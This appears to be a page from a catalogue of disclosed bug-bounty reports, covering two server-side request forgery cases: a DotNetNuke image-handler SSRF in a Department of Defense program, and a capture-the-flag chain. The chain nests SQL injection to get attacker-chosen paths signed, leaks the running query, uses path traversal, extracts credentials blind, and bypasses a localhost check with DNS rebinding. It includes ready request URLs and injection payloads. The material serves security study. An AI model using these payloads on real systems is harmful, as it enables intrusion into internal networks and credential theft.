Specimen #482634 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface web

Root cause

DNN 8.0.0-9.1.1 exposes DnmImageHandler.ashx which, in mode=file, fetches any attacker-supplied url server-side with no host allow-listing, turning the origin into an SSRF proxy. The response is constrained to image file extensions.

Method

  1. Fingerprint the target as DotNetNuke (DNN) 8.0.0-9.1.1 and confirm /DnnImageHandler.ashx is reachable
  2. Request the handler with mode=file and a url pointing at an attacker-controlled/collaborator host to confirm the outbound fetch (SSRF)
  3. Swap the url for internal hostnames/IPs plus a known image path (e.g. a default logo) to map and probe internal-only sites; a 200 with the image confirms the internal host is online and reachable
https://TARGET/DnnImageHandler.ashx?mode=file&url=http://COLLAB/x.jpg https://TARGET/DnnImageHandler.ashx?mode=file&url=http://INTERNAL-HOST/data/uploads/images/DC3_seal.png

Insight — When a target runs a known CMS/framework, look up its version-specific SSRF CVEs before manual hunting. Any image/URL-preview/proxy handler that takes a url= parameter is a prime SSRF sink; test it with a collaborator first, then pivot to internal image paths to prove internal reachability even when output is limited to image extensions.

Real-world example

Authenticated SSRF via nested SQLi-forged image fetch, plus DNS-rebinding localhost bypass

◆ Critical
Specimen #1068433 · h1-ctf · none · 3 votes · resolved
Program h1-ctfSurface webChain SQL injection (album hash) -> nested UNION poisons downst

Root cause

A server-side image-fetch endpoint signs each image path with an HMAC/auth hash and refuses arbitrary paths, but the image list is populated by a SQL query. A nested UNION injection in the album query poisons the follow-up photo query so the server itself signs an attacker-chosen path (../api/...), producing an authenticated blind SSRF into an internal, IP-restricted API. Separately, a DDoS launcher validates the target host then re-resolves it, so DNS rebinding defeats the localhost/allow-list check.

Method

  1. Find a signed indirection: server fetches image = base64({image, auth}); direct/forged requests fail with 'invalid authentication hash', so the server must sign paths itself from a DB-driven list
  2. Confirm the album lookup is SQLi (sqlmap/UNION) and leak the live query via information_schema.processlist to learn the base query and the chained photo query
  3. Nest a second UNION inside the first so the follow-up photo query returns a photo path you control: set that path to ..\/api\/<endpoint> to escape the uploads dir
  4. Read the server-rendered <img src=...picture?data=...> value: the server has now signed your ../api path, giving an authenticated request into the internal-only API
  5. Blind-exfiltrate: fuzz internal endpoints/params, use true/false response differences (e.g. 204 vs error) to extract username/password char by char
  6. For the host-allow-list/localhost DDoS protection: submit a DNS-rebinding hostname (rbndr.us) so validation resolves to an allowed IP but the later attack resolves to 127.0.0.1
# Nested UNION so the downstream photo query returns an attacker path -> authenticated SSRF: album?hash=fakehash' UNION SELECT "1337' UNION SELECT 0, 0, '..\/api\/user?username=g%'-- ", 'my_hash', 'my_album_name'-- # Leak the executing query to discover the chained query: album?hash=fakehash' UNION SELECT 1,1,info FROM information_schema.processlist-- # DNS rebinding target to bypass localhost check (rbndr.us: 7f000001=127.0.0.1, c0a80001=192.168.0.1): {"target":"7f000001.c0a80001.rbndr.us","hash":"..."}

Insight — Signed/HMAC-protected SSRF sinks are still exploitable if any server-controlled data feeding the sink is injectable: use SQLi (or other injection) to make the server sign the malicious value for you, converting a locked-down fetcher into an authenticated SSRF. When a target validates a host then re-resolves it before use (TOCTOU on DNS), rbndr.us-style DNS rebinding flips an allow-listed IP to 127.0.0.1/internal to defeat SSRF host filters. Use path traversal (../api/) inside the fetched value to reach sibling internal endpoints, and true/false response oracles to blind-exfiltrate.

§References & practice

  1. PortSwigger Web Security Academy — SSRF labs (hands-on practice).
  2. All 181 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.